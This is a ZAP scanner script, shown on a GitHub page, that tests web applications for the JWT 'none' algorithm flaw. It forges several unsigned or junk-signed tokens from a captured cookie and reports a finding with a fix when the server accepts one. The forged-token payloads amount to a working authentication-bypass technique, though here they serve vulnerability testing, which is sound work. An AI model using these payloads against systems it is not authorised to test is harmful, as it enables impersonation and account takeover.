forked from zaproxy/community-scripts
-
Notifications
You must be signed in to change notification settings - Fork 1
/
JWT None Exploit.js
136 lines (113 loc) · 4.91 KB
/
JWT None Exploit.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
// ECMA Script uses the Oracle Nashorn engine, therefore all standard library comes from Java
// https://docs.oracle.com/javase/8/docs/technotes/guides/scripting/prog_guide/javascript.html
var Cookie = Java.type("java.net.HttpCookie")
var Base64 = Java.type("java.util.Base64")
var String = Java.type("java.lang.String")
// Exploit information, used for raising alerts
var RISK = 3
var CONFIDENCE = 2
var TITLE = "JWT None Exploit"
var DESCRIPTION = "The application's JWT implementation allows for the usage of the 'none' algorithm, which bypasses the JWT hash verification."
var SOLUTION = "Use a secure JWT library, and (if your library supports it) restrict the allowed hash algorithms."
var REFERENCE = "https://www.sjoerdlangkemper.nl/2016/09/28/attacking-jwt-authentication/"
var CWEID = 347 // CWE-347: Improper Verification of Cryptographic Signature
var WASCID = 15 // WASC-15: Application Misconfiguration
function b64encode(string) {
// Terminate the string with a null byte prior to encoding. I suspect that
// this is required because the string being created as a JavaScript string
// and then handled like a java.lang.String object. When the null byte isn't
// present the Base64 encode call returns the decoded string, along with
// additional garbage characters.
var message = (string + "\0").getBytes()
var bytes = Base64.getEncoder().encode(message)
return new String(bytes)
}
function b64decode(string) {
var message = string.getBytes()
var bytes = Base64.getDecoder().decode(message)
return new String(bytes)
}
// Detects if a given string may be a valid JWT
function is_jwt(content) {
var separated = content.split(".")
if (separated.length != 3) return false
try {
b64decode(separated[0])
b64decode(separated[1])
}
catch (err) {
return false
}
return true
}
function build_payloads(jwt) {
// Build header specifying use of the none algorithm
var header = b64encode('{"alg":"none","typ":"JWT"}')
var separated = jwt.split(".")
// Try a series of different JWT formats
return [
header + "." + separated[1] + ".", // no hash
header + "." + separated[1] + "." + separated[2], // original (but incorrect) hash
header + "." + separated[1] + ".\\(•_•)/", // junk hash
header + "." + separated[1] + ".XCjigKJf4oCiKS8=", // junk (but b64 encoded) hash
separated[0] + "." + separated[1] + "." // old header but no hash
]
}
// This method is called for every node on the site
// ActiveScan as, HttpMessage msg
function scanNode(as, msg) {
print("Scanning " + msg.getRequestHeader().getURI().toString())
// Extract request cookies and detect if using JWT
var cookies = msg.getRequestHeader().getHttpCookies()
var jwt_cookies = []
for (var i = 0; i < cookies.length; i++) {
var cookie = cookies[i]
if (is_jwt(cookie.getValue()))
jwt_cookies.push(cookie)
}
// If no cookie found: skip, if cookie(s) found, use the first
if (jwt_cookies.length == 0)
return
if (jwt_cookies.length > 1)
print("Multiple cookies using JWT found but not yet supported, only first will be used for testing")
// Default to the first cookie found that uses JWT
var target_cookie = jwt_cookies[0]
// Send a safe request (with original cookie) to see what a correct response looks like
var msg_safe = msg.cloneRequest()
msg_safe.setCookies([target_cookie])
as.sendAndReceive(msg_safe)
// Send a completely mangled request to see if the page actually looks at the cookie
var msg_bad = msg.cloneRequest()
msg_bad.setCookies([new Cookie(target_cookie.getName(), "!@#$%^&*()")])
as.sendAndReceive(msg_bad)
var safe_body = msg_safe.getResponseBody()
var bad_body = msg_bad.getResponseBody()
// If the mangled cookie gives the same response as the correct cookie, we can assume
// that the page does not care what we send in that field and that there is not an exploit
if (safe_body.equals(bad_body))
return
var payloads = build_payloads(target_cookie.getValue())
for (var i = 0; i < payloads.length; i++) {
var payload = payloads[i]
var cookie_payload = new Cookie(target_cookie.getName(), payload)
var msg_loaded = msg.cloneRequest()
msg_loaded.setCookies([cookie_payload])
as.sendAndReceive(msg_loaded)
var loaded_body = msg_loaded.getResponseBody()
// If the body of the request sent with the none algorithm is the same as the body of the request
// sent with the default algorithm, we know that the server is parsing the JWT instead of throwing
// some form of server error. We can assume (in this case) that the server is parsing the none
// algorithm and ignoring the hash--which is a vulnerability.
if (loaded_body.equals(safe_body))
raise_alert(msg_loaded, target_cookie, payload, as)
}
}
function raise_alert(msg, cookie, payload, as) {
print("Vulnerability found, sending alert")
as.raiseAlert(
RISK, CONFIDENCE, TITLE, DESCRIPTION,
msg.getRequestHeader().getURI().toString(), "", "", "", SOLUTION,
"Cookie: " + cookie.getName() + "=" + payload, REFERENCE,
CWEID, WASCID, msg
)
}